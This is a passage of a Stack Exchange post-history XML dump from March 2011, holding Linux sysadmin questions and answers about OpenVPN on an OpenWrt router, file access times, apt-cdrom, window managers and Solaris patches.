active.`&lt;br&gt;&#xD;&#xA;`Mar  7 15:42:43 ASDF NetworkManager[1458]: &lt;info&gt; Policy set 'Auto Ethernet' (eth0) as default for IPv4 routing and DNS.`&lt;br&gt;&#xD;&#xA;`Mar  7 15:42:49 ASDF NetworkManager[1458]: &lt;info&gt; VPN service 'openvpn' disappeared`&lt;br&gt;&#xD;&#xA;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;one important thing: my routers [the one with the openvpn server] ip address is 192.168.1.2, and i didn't had to write it nowhere. so how could the networkmanager applet know the ip address of my openvpn server? i think this is the problem, but i just can't find where to write 192.168.1.2&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Thank you :\&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;p.s.: yes, i tried to google for: &quot;No server certificate verification method has been enabled.&quot; but i didn't find a thing, and i'm trying for hours now... :\&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;p.s.[again..]: yes, i tried to google for: &quot;No server certificate verification method has been enabled.&quot; but i didn't find a thing, and i'm trying for hours now... :\&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;p.s.: if i [on the router]:&lt;br&gt;&#xD;&#xA;iptables -P INPUT ACCEPT&lt;br&gt;&#xD;&#xA;iptables -P FORWARD ACCEPT&lt;br&gt;&#xD;&#xA;iptables -P OUTPUT ACCEPT&lt;br&gt;&#xD;&#xA;iptables -t nat -P PREROUTING ACCEPT&lt;br&gt;&#xD;&#xA;iptables -t nat -P POSTROUTING ACCEPT&lt;br&gt;&#xD;&#xA;iptables -t nat -P OUTPUT ACCEPT&lt;br&gt;&#xD;&#xA;iptables -t mangle -P PREROUTING ACCEPT&lt;br&gt;&#xD;&#xA;iptables -t mangle -P OUTPUT ACCEPT&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;and stat tcpdump, and try to connect from my pc, nothing happens!.. so the bug is in the networkmanager applet!?&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;again, p.s.: if i:&lt;br&gt;&#xD;&#xA;$ telnet 192.168.1.2 1197&lt;br&gt;&#xD;&#xA;Trying 192.168.1.2...&lt;br&gt;&#xD;&#xA;telnet: connect to address 192.168.1.2: Connection refused&lt;br&gt;&#xD;&#xA;$connbsp;&lt;br&gt;&#xD;&#xA;Are there any good howtos about setting this kind of openvpn [as in the pastebin link, on an openwrt router..]? &lt;br&gt;&#xD;&#xA;Is it worth finding another openvpn client program? [other then the networkmanager applet]&lt;br&gt;" />
  <row Id="20916" PostHistoryTypeId="2" PostId="8840" RevisionGUID="bd2c7a7c-bdcc-4b35-90d5-3ad2d427c504" CreationDate="2011-03-08T14:56:34.180" UserId="5289" Text="Is it possible to get the time when file was opened last time and sort all files in a directory by those times?" />
  <row Id="20917" PostHistoryTypeId="1" PostId="8840" RevisionGUID="bd2c7a7c-bdcc-4b35-90d5-3ad2d427c504" CreationDate="2011-03-08T14:56:34.180" UserId="5289" Text="last time file opened" />
  <row Id="20918" PostHistoryTypeId="3" PostId="8840" RevisionGUID="bd2c7a7c-bdcc-4b35-90d5-3ad2d427c504" CreationDate="2011-03-08T14:56:34.180" UserId="5289" Text="éfilesystemsà" />
  <row Id="20919" PostHistoryTypeId="2" PostId="8841" RevisionGUID="a46e242c-6c2b-4734-8dae-65d9bfacca13" CreationDate="2011-03-08T15:02:14.570" UserId="2180" Text="`ls -ltu` list all the files, showing and sorting by access time.&#xD;&#xA;&#xD;&#xA;From `man ls`:&#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;    -u     with -lt: sort by, and show, access time with -l: show access&#xD;&#xA;           time and sort by name otherwise: sort by access time&#xD;&#xA;" />
  <row Id="20923" PostHistoryTypeId="2" PostId="8842" RevisionGUID="f15bbe57-3d8f-4949-8b75-68528df7cbf6" CreationDate="2011-03-08T15:15:37.087" UserId="2511" Text="This depends on exactly what you mean by &quot;opened&quot;, but in general, yes. There are three timestamps normally recorded:&#xD;&#xA;&#xD;&#xA;* `mtime` — updated when the file contents change. This is the &quot;default&quot; file time in most cases.&#xD;&#xA;* `ctime` — updated when the file _or_ its metadata (owner, permissions) change&#xD;&#xA;* `atime` — updated when the file is read&#xD;&#xA;&#xD;&#xA;So, generally, what you want to see is the `atime` of a file. You can get that with `stat` or with `ls`. You can use `ls -lu` to do this, although I prefer to use `ls -l --time=atime` (which should be supported in almost all modern Linux distributions) because I can remember it better. And to _sort_ by time, add the `-t` flag to ls. So there you go.&#xD;&#xA;&#xD;&#xA;There is a big caveat, though. Updating the atime every time a file is read causes a lot of usually-unnecessary IO, slowing everything down. So, some Linux distributions now default to the `noatime` filesystem mount option, which basically kills atimes, or else `relatime`, which only updates atimes if they are older than the current mtime. (So you can tell if the file has been read at least once since it was modified.) You can find if these options are active by running the `mount` command.&#xD;&#xA;&#xD;&#xA;Also, note that access times are by inode, not by filename, so if you have hardlinks, reading from one will update all names that refer to the same file." />
  <row Id="20928" PostHistoryTypeId="6" PostId="8830" RevisionGUID="de4fcbf4-5d6c-48e7-aeab-ede4b2ef994e" CreationDate="2011-03-08T15:20:11.983" UserId="5454" Comment="ass ksh tag!" Text="éshellöscriptàéinputàékshàéoptionsà" />
  <row Id="20929" PostHistoryTypeId="24" PostId="8830" RevisionGUID="de4fcbf4-5d6c-48e7-aeab-ede4b2ef994e" CreationDate="2011-03-08T15:20:11.983" Comment="Proposed by 5454 approved by 73 edit id of 186" />
  <row Id="20930" PostHistoryTypeId="2" PostId="8843" RevisionGUID="3496e403-b981-4773-b612-f6536c92c8fe" CreationDate="2011-03-08T15:24:27.673" UserId="4724" Text="ok, i putted an OpenVPN server on port 1194 on an OpenWrt 10.03 router.&lt;br&gt;&#xD;&#xA;https://pastebin.com/raw.php?i=xEZTvnhT&lt;br&gt;&#xD;&#xA;http://pastebin.mozilla.org/1138443&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Questions: what could i do to increase security regarding this OpenVPN server? - i mean on server side!&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;1 - i sed 's/1194/50000/' the port number to a higher one - it's against the automated robots, ok!&lt;br&gt;&#xD;&#xA;2 - iptables? i should only allow ip ranges [on the input chain] that i will use in reality? - ok!&lt;br&gt;&#xD;&#xA;3 - if i don't use my router - e.g.: when i'm sleeping i just turn it off.&lt;br&gt;&#xD;&#xA;4 - ? what else?? Plese write down you're idea/solution!!!&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;OpenWrt isn't OpenBSD, so from the &quot;ps&quot; command i can see that the OpenVPN is runned by root. it's not so secure. How can i make it more secure?" />
  <row Id="20931" PostHistoryTypeId="1" PostId="8843" RevisionGUID="3496e403-b981-4773-b612-f6536c92c8fe" CreationDate="2011-03-08T15:24:27.673" UserId="4724" Text="Ideas for securing OpenVPN on an OpenWrt router" />
  <row Id="20932" PostHistoryTypeId="3" PostId="8843" RevisionGUID="3496e403-b981-4773-b612-f6536c92c8fe" CreationDate="2011-03-08T15:24:27.673" UserId="4724" Text="élinuxàésecurityàéopenwrtà" />
  <row Id="20934" PostHistoryTypeId="5" PostId="8843" RevisionGUID="9bf6b0a2-8c88-4df8-81fd-cab74ac33e5a" CreationDate="2011-03-08T15:28:54.250" UserId="73" Comment="added 3558 characters in body; edited body" Text="I put an OpenVPN server on port 1194 on an OpenWrt 10.03 router:&#xD;&#xA;&#xD;&#xA;    echo &quot;nameserver 8.8.8.8&quot; &gt; /etc/resolv.conf; opkg update; opkg install luci-app-openvpn openvpn openssl-util openssh-sftp-server ntpd&#xD;&#xA;    vim /etc/ssl/openssl.cnf # modify a few lines&#xD;&#xA;    [ CA_default ]&#xD;&#xA;    dir             = /etc/openvpn&#xD;&#xA;    new_certs_dir	= $dir/certs&#xD;&#xA;    certificate	= $dir/ca.crt&#xD;&#xA;    private_key	= $dir/ca.key&#xD;&#xA;    &#xD;&#xA;    touch /etc/openvpn/index.txt; touch /etc/openvpn/serial; echo 01 &gt; /etc/openvpn/serial&#xD;&#xA;    openssl req -nodes -new -x509 -keyout /etc/openvpn/ca.key -out /etc/openvpn/ca.crt -days 3650 # give a common name, like: vpnserver&#xD;&#xA;    openvpn --genkey --secret /etc/openvpn/ta.key&#xD;&#xA;    openssl req -nodes -new -keyout /etc/openvpn/server.key -out /etc/openvpn/server.csr # give a common name, like: vpnserver&#xD;&#xA;    mkdir -p /etc/openvpn/certs; mkdir -p /etc/openvpn/private&#xD;&#xA;    openssl ca -out /etc/openvpn/server.crt -in /etc/openvpn/server.csr&#xD;&#xA;    time openssl dhparam -out /etc/openvpn/dh1024.pem 1024 # it could take 10 minutes!&#xD;&#xA;    &#xD;&#xA;    # generate certs for clients [X = client number]&#xD;&#xA;    openssl req -nodes -new -keyout /etc/openvpn/clientX.key -out /etc/openvpn/clientX.csr # give a common name! it will be the user name&#xD;&#xA;    openssl ca -out /etc/openvpn/clientX.crt -in /etc/openvpn/clientX.csr&#xD;&#xA;    # e.g.: &#xD;&#xA;    openssl req -nodes -new -keyout /etc/openvpn/client1.key -out /etc/openvpn/client1.csr # give a common name! it will be the user name&#xD;&#xA;    openssl ca -out /etc/openvpn/client1.crt -in /etc/openvpn/client1.csr&#xD;&#xA;    &#xD;&#xA;    vim /etc/config/openvpn&#xD;&#xA;    config 'openvpn' 'openvpn_server'&#xD;&#xA;    	option 'enable' '1'&#xD;&#xA;    	option 'port' '1194'&#xD;&#xA;    	option 'proto' 'udp'&#xD;&#xA;    	option 'dev' 'tap'&#xD;&#xA;    	option 'ca' '/etc/openvpn/ca.crt'&#xD;&#xA;    	option 'cert' '/etc/openvpn/server.crt'&#xD;&#xA;    	option 'key' '/etc/openvpn/server.key'&#xD;&#xA;    	option 'tls_auth' '/etc/openvpn/ta.key 0' # server: 0&#xD;&#xA;    	option 'dh' '/etc/openvpn/dh1024.pem'&#xD;&#xA;    	option 'comp_lzo' '1'&#xD;&#xA;    	option 'server' '10.20.30.0 255.255.255.0'&#xD;&#xA;    	option 'keepalive' '10 120'&#xD;&#xA;    	option 'persist_key' '1'&#xD;&#xA;    	option 'persist_tun' '1'&#xD;&#xA;    	option 'mute' '20'&#xD;&#xA;    	option 'verb' '3'&#xD;&#xA;    	option 'client_to_client' '1'&#xD;&#xA;    	list 'push' 'dhcp-option DNS 10.20.30.1'&#xD;&#xA;    /etc/init.d/openvpn enable&#xD;&#xA;    /etc/init.d/openvpn start&#xD;&#xA;    ifconfig -a | less&#xD;&#xA;    ping 10.20.30.1&#xD;&#xA;    &#xD;&#xA;    # here comes the firewall part&#xD;&#xA;    vim /etc/config/firewall # modify it&#xD;&#xA;    config 'include'&#xD;&#xA;    	option 'path' '/etc/firewall.user'&#xD;&#xA;    &#xD;&#xA;    config 'redirect'&#xD;&#xA;    	option 'src' 'wan'&#xD;&#xA;    	option 'proto' 'udp'&#xD;&#xA;    	option 'src_dport' '1194'&#xD;&#xA;    	option 'dest_port' '1194'&#xD;&#xA;    	option '_name' 'OpenVPN'&#xD;&#xA;    &#xD;&#xA;    vim /etc/firewall.user # modify it&#xD;&#xA;    iptables -t nat -A prerouting_rule -i $WAN -p udp --dport 1194 -j ACCEPT&#xD;&#xA;    iptables -A input_rule -i $WAN -p udp --dport 1194 -j ACCEPT&#xD;&#xA;    iptables -A forwarding_rule -i tap+ -o br-lan -j ACCEPT&#xD;&#xA;    iptables -A forwarding_rule -i br-lan -o tap+ -j ACCEPT&#xD;&#xA;    iptables -A input_rule -i tap+ -j ACCEPT&#xD;&#xA;    iptables -A output_rule -o tap -j ACCEPT&#xD;&#xA;    &#xD;&#xA;    /etc/init.d/firewall restart&#xD;&#xA;    &#xD;&#xA;    # tar the files that goes to the client1&#xD;&#xA;    mkdir -p /root/client1&#xD;&#xA;    cp /etc/openvpn/ca.crt /root/client1/; cp /etc/openvpn/client1.crt /root/client1/; cp /etc/openvpn/client1.key /root/client1/; cp /etc/openvpn/ta.key /root/client1/&#xD;&#xA;    cd /root/; tar -cf client1.tar client1&#xD;&#xA;    &#xD;&#xA;    # configure the client&#xD;&#xA;    # extract the client1.tar's content to &quot;~/.cert&quot; on the clients pc&#xD;&#xA;    # if you're using e.g.: Fedora/SELinux, then&#xD;&#xA;    restorecon -Rv ~/.cert*&#xD;&#xA;    # then: &#xD;&#xA;    # ca.crt: the ca certificate&#xD;&#xA;    # client1.crt: the users certificate&#xD;&#xA;    # client1.key: the users private key&#xD;&#xA;    # ta.key: tls authentication [1]&#xD;&#xA;&#xD;&#xA;What could I do (on the server side) to increase security regarding this OpenVPN server? Here are some of my ideas:&#xD;&#xA;&#xD;&#xA;1. I `sed 's/1194/50000/'` the port number to a higher one to make it harder for port scanners to find&#xD;&#xA;2. iptables? I should only allow IP ranges [on the input chain] that I will use in reality?&lt;br&gt;&#xD;&#xA;3. If I don't use my router (e.g.: when I'm sleeping) I just turn it off.&#xD;&#xA;&#xD;&#xA;Is there anything I'm missing? From the `ps` command I can see that OpenVPN is run by root, which is unsafe. What else should I do to increase security?" />
  <row Id="20935" PostHistoryTypeId="5" PostId="8800" RevisionGUID="8443fcbf-a0d8-4945-b2b2-634da411f7a0" CreationDate="2011-03-08T15:32:29.990" UserId="2511" Comment="deleted 16 characters in body; added 210 characters in body" Text="So, this appears to be a [really new][1] graphics card. You'll need both an up-to-date X driver and a really recent kernel — in fact, you need the not-yet-released (as of early March 2011) 2.6.38 kernel. (See [this article for more on the upcoming kernel release][2].)&#xD;&#xA;&#xD;&#xA;The good news is that the pre-release 2.6.38 kernel is already in the tree for Fedora 15, and the Fedora 15 Alpha release is scheduled for &lt;strike&gt;_tomorrow_&lt;/strike&gt; today (March 8th, 2011). Get the release from http://torrent.fedoraproject.org/. I can't promise that that'll make the card work, but the signs look positive.&#xD;&#xA;&#xD;&#xA;You can even get the [Live Desktop CD][3] option, which will let you test if it works without even reinstalling.&#xD;&#xA;&#xD;&#xA;It's possible (likely even) that the required bits will make it into Fedora 14 in a few months. So just waiting is another option.&#xD;&#xA;&#xD;&#xA;(Honestly, I think _either_ of those will be a better option than the proprietary binary driver. I've had no end of trouble from that. It's faster at 3D, so if top 3D performance is your main need, it might be worth it, but for general use, eh.)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.fireballtech.com/tag/linux-driver-radeon-6450/&#xD;&#xA;  [2]: http://www.h-online.com/open/features/Kernel-Log-Coming-in-2-6-38-Part-1-Graphics-1176900.html&#xD;&#xA;  [3]: http://torrent.fedoraproject.org/torrents/Fedora-15-Alpha-x86_64-Live-Desktop.torrent" />
  <row Id="20936" PostHistoryTypeId="5" PostId="8843" RevisionGUID="08e1c8f7-aa68-4326-b8b3-9ddf1423e9e0" CreationDate="2011-03-08T15:39:14.307" UserId="4724" Comment="added 36 characters in body" Text="I put an OpenVPN server on port 1194 on an OpenWrt 10.03 router:&#xD;&#xA;&#xD;&#xA;    echo &quot;nameserver 8.8.8.8&quot; &gt; /etc/resolv.conf; opkg update; opkg install luci-app-openvpn openvpn openssl-util openssh-sftp-server ntpd&#xD;&#xA;    vim /etc/ssl/openssl.cnf # modify a few lines&#xD;&#xA;    [ CA_default ]&#xD;&#xA;    dir             = /etc/openvpn&#xD;&#xA;    new_certs_dir	= $dir/certs&#xD;&#xA;    certificate	= $dir/ca.crt&#xD;&#xA;    private_key	= $dir/ca.key&#xD;&#xA;    &#xD;&#xA;    touch /etc/openvpn/index.txt; touch /etc/openvpn/serial; echo 01 &gt; /etc/openvpn/serial&#xD;&#xA;    openssl req -nodes -new -x509 -keyout /etc/openvpn/ca.key -out /etc/openvpn/ca.crt -days 3650 # give a common name, like: vpnserver&#xD;&#xA;    openvpn --genkey --secret /etc/openvpn/ta.key&#xD;&#xA;    openssl req -nodes -new -keyout /etc/openvpn/server.key -out /etc/openvpn/server.csr # give a common name, like: vpnserver&#xD;&#xA;    mkdir -p /etc/openvpn/certs; mkdir -p /etc/openvpn/private&#xD;&#xA;    openssl ca -out /etc/openvpn/server.crt -in /etc/openvpn/server.csr&#xD;&#xA;    time openssl dhparam -out /etc/openvpn/dh1024.pem 1024 # it could take 10 minutes!&#xD;&#xA;    &#xD;&#xA;    # generate certs for clients [X = client number]&#xD;&#xA;    openssl req -nodes -new -keyout /etc/openvpn/clientX.key -out /etc/openvpn/clientX.csr # give a common name! it will be the user name&#xD;&#xA;    openssl ca -out /etc/openvpn/clientX.crt -in /etc/openvpn/clientX.csr&#xD;&#xA;    # e.g.: &#xD;&#xA;    openssl req -nodes -new -keyout /etc/openvpn/client1.key -out /etc/openvpn/client1.csr # give a common name! it will be the user name&#xD;&#xA;    openssl ca -out /etc/openvpn/client1.crt -in /etc/openvpn/client1.csr&#xD;&#xA;    &#xD;&#xA;    vim /etc/config/openvpn&#xD;&#xA;    config 'openvpn' 'openvpn_server'&#xD;&#xA;    	option 'enable' '1'&#xD;&#xA;    	option 'port' '1194'&#xD;&#xA;    	option 'proto' 'udp'&#xD;&#xA;    	option 'dev' 'tap'&#xD;&#xA;    	option 'ca' '/etc/openvpn/ca.crt'&#xD;&#xA;    	option 'cert' '/etc/openvpn/server.crt'&#xD;&#xA;    	option 'key' '/etc/openvpn/server.key'&#xD;&#xA;    	option 'tls_auth' '/etc/openvpn/ta.key 0' # server: 0&#xD;&#xA;    	option 'dh' '/etc/openvpn/dh1024.pem'&#xD;&#xA;    	option 'comp_lzo' '1'&#xD;&#xA;    	option 'server' '10.20.30.0 255.255.255.0'&#xD;&#xA;    	option 'keepalive' '10 120'&#xD;&#xA;    	option 'persist_key' '1'&#xD;&#xA;    	option 'persist_tun' '1'&#xD;&#xA;    	option 'mute' '20'&#xD;&#xA;    	option 'verb' '3'&#xD;&#xA;    	option 'client_to_client' '1'&#xD;&#xA;    	list 'push' 'dhcp-option DNS 10.20.30.1'&#xD;&#xA;    /etc/init.d/openvpn enable&#xD;&#xA;    /etc/init.d/openvpn start&#xD;&#xA;    ifconfig -a | less&#xD;&#xA;    ping 10.20.30.1&#xD;&#xA;    &#xD;&#xA;    # here comes the firewall part&#xD;&#xA;    vim /etc/config/firewall # modify it&#xD;&#xA;    config 'include'&#xD;&#xA;    	option 'path' '/etc/firewall.user'&#xD;&#xA;    &#xD;&#xA;    config 'redirect'&#xD;&#xA;    	option 'src' 'wan'&#xD;&#xA;    	option 'proto' 'udp'&#xD;&#xA;    	option 'src_dport' '1194'&#xD;&#xA;    	option 'dest_port' '1194'&#xD;&#xA;    	option '_name' 'OpenVPN'&#xD;&#xA;    &#xD;&#xA;    vim /etc/firewall.user # modify it&#xD;&#xA;    iptables -t nat -A prerouting_rule -i $WAN -p udp --dport 1194 -j ACCEPT&#xD;&#xA;    iptables -A input_rule -i $WAN -p udp --dport 1194 -j ACCEPT&#xD;&#xA;    iptables -A forwarding_rule -i tap+ -o br-lan -j ACCEPT&#xD;&#xA;    iptables -A forwarding_rule -i br-lan -o tap+ -j ACCEPT&#xD;&#xA;    iptables -A input_rule -i tap+ -j ACCEPT&#xD;&#xA;    iptables -A output_rule -o tap -j ACCEPT&#xD;&#xA;    &#xD;&#xA;    /etc/init.d/firewall restart&#xD;&#xA;    &#xD;&#xA;    # tar the files that goes to the client1&#xD;&#xA;    mkdir -p /root/client1&#xD;&#xA;    cp /etc/openvpn/ca.crt /root/client1/; cp /etc/openvpn/client1.crt /root/client1/; cp /etc/openvpn/client1.key /root/client1/; cp /etc/openvpn/ta.key /root/client1/&#xD;&#xA;    cd /root/; tar -cf client1.tar client1&#xD;&#xA;    &#xD;&#xA;    # configure the client&#xD;&#xA;    # extract the client1.tar's content to &quot;~/.cert&quot; on the clients pc&#xD;&#xA;    # if you're using e.g.: Fedora/SELinux, then&#xD;&#xA;    restorecon -Rv ~/.cert*&#xD;&#xA;    # then: &#xD;&#xA;    # ca.crt: the ca certificate&#xD;&#xA;    # client1.crt: the users certificate&#xD;&#xA;    # client1.key: the users private key&#xD;&#xA;    # ta.key: tls authentication [1]&#xD;&#xA;&#xD;&#xA;What could I do (on the server side) to increase security regarding this OpenVPN server? Here are some of my ideas:&#xD;&#xA;&#xD;&#xA;1. I `sed 's/1194/50000/'` the port number to a higher one to make it harder for port scanners to find&#xD;&#xA;2. iptables? I should only allow IP ranges [on the input chain] that I will use in reality? +Only allow my laptop's MAC address&lt;br&gt;&#xD;&#xA;3. If I don't use my router (e.g.: when I'm sleeping) I just turn it off.&#xD;&#xA;&#xD;&#xA;Is there anything I'm missing? From the `ps` command I can see that OpenVPN is run by root, which is unsafe. What else should I do to increase security?" />
  <row Id="20937" PostHistoryTypeId="2" PostId="8844" RevisionGUID="51006e41-0e2b-413e-93ed-d3909f57e555" CreationDate="2011-03-08T15:46:00.267" UserId="5454" Text="here's what worked for me:&#xD;&#xA;&#xD;&#xA;first, the line in `/etc/fstab` should look like this:&#xD;&#xA;&#xD;&#xA;    /iso/apt.iso /mnt/apt iso9660 user,loop 0 0&#xD;&#xA;&#xD;&#xA;then, with the mount-point mounted, run `apt-cdrom` like this:&#xD;&#xA;&#xD;&#xA;    apt-cdrom -m -d=/mnt/apt add&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;if apt still asks you to insert the disk, add these lines to apt.conf&#xD;&#xA;&#xD;&#xA;    Acquire::cdrom::mount &quot;/mnt/apt&quot;;&#xD;&#xA;    APT::CDROM::NoMount;&#xD;&#xA;&#xD;&#xA;I think you should find this will work for you too :)" />
  <row Id="20938" PostHistoryTypeId="2" PostId="8845" RevisionGUID="2b234247-4887-49aa-ae90-de681b61769e" CreationDate="2011-03-08T16:23:19.860" UserId="3629" Text="Under Debian, if you want to change the window manager for all users, you can run (as root):&#xD;&#xA;&#xD;&#xA;    update-alternatives --config x-window-manager&#xD;&#xA;&#xD;&#xA;and select the window manager you want as the default." />
  <row Id="20939" PostHistoryTypeId="5" PostId="8845" RevisionGUID="d9bc424d-06eb-4e24-a145-08b6d2f655de" CreationDate="2011-03-08T16:36:00.047" UserId="3629" Comment="added 253 characters in body" Text="Under Debian, if you want to change the window manager for all users, you can run (as root):&#xD;&#xA;&#xD;&#xA;    update-alternatives --config x-window-manager&#xD;&#xA;&#xD;&#xA;and select the window manager you want as the default.  However, this might only work if you're not using a desktop environment (e.g. GNOME or KDE).&#xD;&#xA;&#xD;&#xA;If you're using GNOME, you can tell it which window manager you want by putting the following in `~/.gnomerc`:&#xD;&#xA;&#xD;&#xA;    export WINDOW_MANAGER=/usr/bin/mutter" />
  <row Id="20940" PostHistoryTypeId="25" PostId="8840" RevisionGUID="42341a1b-128e-4128-9e9a-615cfc17860f" CreationDate="2011-03-08T17:23:39.490" Comment="http://twitter.com/#!/StackUnix/status/45172842685403136" />
  <row Id="20941" PostHistoryTypeId="5" PostId="8842" RevisionGUID="0b2b3710-1782-4e88-8614-90d4fc8d21f4" CreationDate="2011-03-08T17:31:40.973" UserId="2511" Comment="added 36 characters in body" Text="This depends on exactly what you mean by &quot;opened&quot;, but in general, yes. There are three timestamps normally recorded:&#xD;&#xA;&#xD;&#xA;* `mtime` — updated when the file contents change. This is the &quot;default&quot; file time in most cases.&#xD;&#xA;* `ctime` — updated when the file _or_ its metadata (owner, permissions) change&#xD;&#xA;* `atime` — updated when the file is read&#xD;&#xA;&#xD;&#xA;So, generally, what you want to see is the `atime` of a file. You can get that with `stat` or with `ls`. You can use `ls -lu` to do this, although I prefer to use `ls -l --time=atime` (which should be supported in almost all modern Linux distributions) because I don't use it often, and when I do I can remember it better. And to _sort_ by time, add the `-t` flag to ls. So there you go.&#xD;&#xA;&#xD;&#xA;There is a big caveat, though. Updating the atime every time a file is read causes a lot of usually-unnecessary IO, slowing everything down. So, some Linux distributions now default to the `noatime` filesystem mount option, which basically kills atimes, or else `relatime`, which only updates atimes if they are older than the current mtime. (So you can tell if the file has been read at least once since it was modified.) You can find if these options are active by running the `mount` command.&#xD;&#xA;&#xD;&#xA;Also, note that access times are by inode, not by filename, so if you have hardlinks, reading from one will update all names that refer to the same file." />
  <row Id="20942" PostHistoryTypeId="2" PostId="8846" RevisionGUID="823923b9-08a5-4fe1-860c-95c775d7d3d2" CreationDate="2011-03-08T17:35:53.627" UserId="5514" Text="I have a Solaris 10 server.  I've been trying to find from where I can download patches/updates.&#xD;&#xA;&#xD;&#xA;The specific bug I'm running into ([http://bugs.opensolaris.org/view_bug.do?bug_id=6551484][1]) is reportedly fixed, according to that report:&#xD;&#xA;&#xD;&#xA;    Commit to Fix	s10u4_12&#xD;&#xA;    Fixed In	s10u4_12&#xD;&#xA;    Release Fixed	 solaris_10u4(s10u4_12) , solaris_nevada(snv_70)&#xD;&#xA;&#xD;&#xA;So far, all the potential Solaris patch download sites that Google returns all redirect to the My Oracle Support portal.  I signed up for that, but now I need an &quot;Oracle Support Identifier&quot;. &#xD;&#xA;&#xD;&#xA;According to the FAQ: &quot;After you log in with your SSO account, you must&#xD;&#xA;register your Oracle Customer Support Identifiers (Support IDs) or your&#xD;&#xA;Sun Contract Number. Most customers have only one Support ID. Your&#xD;&#xA;Support ID is included in the welcome letter sent from Oracle. This is a&#xD;&#xA;number similar to 3434354 that defines for Oracle the products you have&#xD;&#xA;licensed for support. After you have registered your Support IDs, you&#xD;&#xA;must be approved by the Customer User Administrator (CUA) for your&#xD;&#xA;organization.&quot;&#xD;&#xA;&#xD;&#xA;There is no paperwork, I have a SPARC machine with Solaris 10 installed on it.  Am I out of luck regarding getting it updated?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://bugs.opensolaris.org/view_bug.do?bug_id=6551484" />
  <row Id="20943" PostHistoryTypeId="1" PostId="8846" RevisionGUID="823923b9-08a5-4fe1-860c-95c775d7d3d2" CreationDate="2011-03-08T17:35:53.627" UserId="5514" Text="Obtaining Solaris 10 patches" />
  <row Id="20944" PostHistoryTypeId="3" PostId="8846" RevisionGUID="823923b9-08a5-4fe1-860c-95c775d7d3d2" CreationDate="2011-03-08T17:35:53.627" UserId="5514" Text="ésolarisàéupgradeà" />
  <row Id="20945" PostHistoryTypeId="6" PostId="8840" RevisionGUID="d6937e85-658b-4826-9104-e725b9658261" CreationDate="2011-03-08T17:43:19.913" UserId="885" Comment="edited tags" Text="éfilesàélsàédateà" />
  <row Id="20946" PostHistoryTypeId="5" PostId="8775" RevisionGUID="4f6e5a34-d413-4a20-b4fb-c9b275f9fe82" CreationDate="2011-03-08T18:04:00.637" UserId="885" Comment="formatting" Text="I have installed an OpenVPN server on my OpenWrt 10.03 router [freshly flashed]: https://pastebin.com/raw.php?i=hRECWuf1&#xD;&#xA;&#xD;&#xA;    echo &quot;nameserver 8.8.8.8&quot; &gt; /etc/resolv.conf; opkg update; opkg install luci-app-openvpn openvpn openssl-util openssh-sftp-server ntpd&#xD;&#xA;    vim /etc/ssl/openssl.cnf # modify a few lines&#xD;&#xA;    [ CA_default ]&#xD;&#xA;    dir             = /etc/openvpn&#xD;&#xA;    new_certs_dir	= $dir/certs&#xD;&#xA;    certificate	= $dir/ca.crt&#xD;&#xA;    private_key	= $dir/ca.key&#xD;&#xA;&#xD;&#xA;    touch /etc/openvpn/index.txt; touch /etc/openvpn/serial; echo 01 &gt; /etc/openvpn/serial&#xD;&#xA;    openssl req -nodes -new -x509 -keyout /etc/openvpn/ca.key -out /etc/openvpn/ca.crt -days 3650 # give a common name, like: vpnserver&#xD;&#xA;    openvpn --genkey --secret /etc/openvpn/ta.key&#xD;&#xA;    openssl req -nodes -new -keyout /etc/openvpn/server.key -out /etc/openvpn/server.csr # give a common name, like: vpnserver&#xD;&#xA;    mkdir -p /etc/openvpn/certs; mkdir -p /etc/openvpn/private&#xD;&#xA;    openssl ca -out /etc/openvpn/server.crt -in /etc/openvpn/server.csr&#xD;&#xA;    time openssl dhparam -out /etc/openvpn/dh1024.pem 1024 # it could take 10 minutes!&#xD;&#xA;&#xD;&#xA;    # generate certs for clients [X = client number]&#xD;&#xA;    openssl req -nodes -new -keyout /etc/openvpn/clientX.key -out /etc/openvpn/clientX.csr # give a common name! it will be the user name&#xD;&#xA;    openssl ca -out /etc/openvpn/clientX.crt -in /etc/openvpn/clientX.csr&#xD;&#xA;    # e.g.: &#xD;&#xA;    openssl req -nodes -new -keyout /etc/openvpn/client1.key -out /etc/openvpn/client1.csr # give a common name! it will be the user name&#xD;&#xA;    openssl ca -out /etc/openvpn/client1.crt -in /etc/openvpn/client1.csr&#xD;&#xA;&#xD;&#xA;    vim /etc/config/openvpn&#xD;&#xA;    config 'openvpn' 'openvpn_server'&#xD;&#xA;            option 'enable' '1'&#xD;&#xA;            option 'port' '1194'&#xD;&#xA;            option 'proto' 'udp'&#xD;&#xA;            option 'dev' 'tap'&#xD;&#xA;            option 'ca' '/etc/openvpn/ca.crt'&#xD;&#xA;            option 'cert' '/etc/openvpn/server.crt'&#xD;&#xA;            option 'key' '/etc/openvpn/server.key'&#xD;&#xA;            option 'tls_auth' '/etc/openvpn/ta.key 0' # server: 0&#xD;&#xA;            option 'dh' '/etc/openvpn/dh1024.pem'&#xD;&#xA;            option 'comp_lzo' '1'&#xD;&#xA;            option 'server' '10.20.30.0 255.255.255.0'&#xD;&#xA;            option 'keepalive' '10 120'&#xD;&#xA;            option 'persist_key' '1'&#xD;&#xA;            option 'persist_tun' '1'&#xD;&#xA;            option 'mute' '20'&#xD;&#xA;            option 'verb' '3'&#xD;&#xA;            option 'client_to_client' '1'&#xD;&#xA;            list 'push' 'dhcp-option DNS 10.20.30.1'&#xD;&#xA;    /etc/init.d/openvpn enable&#xD;&#xA;    /etc/init.d/openvpn start&#xD;&#xA;    ifconfig -a | less&#xD;&#xA;    ping 10.20.30.1&#xD;&#xA;&#xD;&#xA;    # here comes the firewall part&#xD;&#xA;    vim /etc/config/firewall # 